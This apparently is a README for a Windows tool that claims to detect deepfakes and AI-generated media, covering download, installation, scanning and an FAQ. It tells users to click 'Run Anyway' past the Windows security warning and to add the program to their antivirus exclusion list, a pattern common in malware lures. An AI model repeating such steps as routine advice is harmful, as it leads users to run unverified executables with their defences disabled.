Digital media often contains content generated by artificial intelligence. Deepfakes and synthetic audio can spread misinformation or cause harm. This application provides a set of tools to identify AI-generated media. It serves as a safety filter for your files. You use it to check images, audio clips, and video files for signs of synthetic origin. The tool uses forensics to trace sources and identify watermarks.
Your computer needs specific hardware and software to run this tool efficiently. Ensure your system meets the following criteria before you start:
- Operating System: Windows 10 or Windows 11.
- Processor: A modern multi-core processor matches speed requirements.
- Memory: At least 8 gigabytes of system RAM.
- Storage: 500 megabytes of free space for the application and temporary files.
- Internet Connection: A stable connection enables the tool to download the latest detection models and updates.
You need the correct installation file to run the tool on your Windows machine. Follow these steps to obtain the software:
- Visit the official releases page.
- Look for the latest version listed at the top of the page.
- Locate the file ending in
.exeunder the Assets section. - Click the file name to download it to your computer.
- Save the file to your Downloads folder or your desktop for easy access.
The installation process sets up the necessary components to detect deepfakes. Follow this guide to prepare your system:
- Open your Downloads folder.
- Find the file you downloaded in the previous step.
- Double-click the file to start the installer.
- Windows might display a protective window. If this happens, click More Info, then click Run Anyway.
- Follow the on-screen prompts.
- The installer asks for a location to save the program files. The default location works for most users.
- Click Finish when the progress bar reaches the end.
Once installed, you can scan files immediately. The interface provides simple controls to process your media.
- Open the application from your Start menu.
- Click the Browse button to select a file from your computer.
- Select an image, an audio file, or a video file.
- Click the Analyze button.
- Wait for the progress bar to finish. The tool examines the file structure and checks for synthetic signatures.
- A report appears on the screen. It shows a confidence score. A high score suggests the file contains AI-generated content.
The tool produces a clear result for every file you check. Understanding these results helps you make informed decisions about your media.
- Positive Detection: The tool finds indicators of AI generation. Use caution with this file.
- Negative Detection: The tool finds no indicators of AI generation. The file likely contains real media.
- Low Confidence: The tool is unsure about the origin of the file. This often happens with heavily edited content or low-resolution files.
The quality of your media influences the results. Follow these tips to get the most accurate analysis:
- Use high-resolution files. Compressed files lose the fine details the tool needs for accurate forensic analysis.
- Ensure your internet connection stays active. The tool fetches current detection patterns from our servers to stay ahead of new AI techniques.
- Test one file at a time for deep analysis. Batch processes work, but wait times increase with large amounts of data.
- Keep the application updated. Check the releases page monthly for new versions. Newer versions include improved models for better forensic accuracy.
If the software does not work, check these common fixes:
- Restart the application: Close the window and reopen it. This clears temporary memory issues.
- Check Permissions: Ensure your antivirus software does not block the application. You might need to add the program to your exclusion list.
- Storage Space: Check your disk space. If your drive is full, the tool cannot save temporary analysis files.
- Internet Access: The tool requires contact with our servers. If you use a VPN or a restrictive corporate network, try disabling it to see if the connection improves.
Your privacy remains a priority. This tool processes files locally on your computer. When you initiate a scan, the application compares the file structure against forensic data. It does not upload your sensitive personal files to the cloud. Only the metadata necessary for identification travels across the network. By keeping the processing on your machine, we ensure that your private photos and audio remain under your control.
What types of AI does this tool recognize? The software identifies audio, images, and videos created by major AI platforms. It scans for patterns left by popular generation engines.
Does this tool work on social media files? Yes, but remember that social media platforms often lower the quality of uploads. High compression impacts the forensic data and might reduce the detection score. Always use the original source file if possible.
Can I move the application to a different folder? Yes. You can move the installed folder to any location on your drive without affecting the performance of the tool.
How does the tool stay current? Synthetic media changes every day. We update the internal detection logic frequently. When you start the application, it checks the cloud for these small index updates automatically.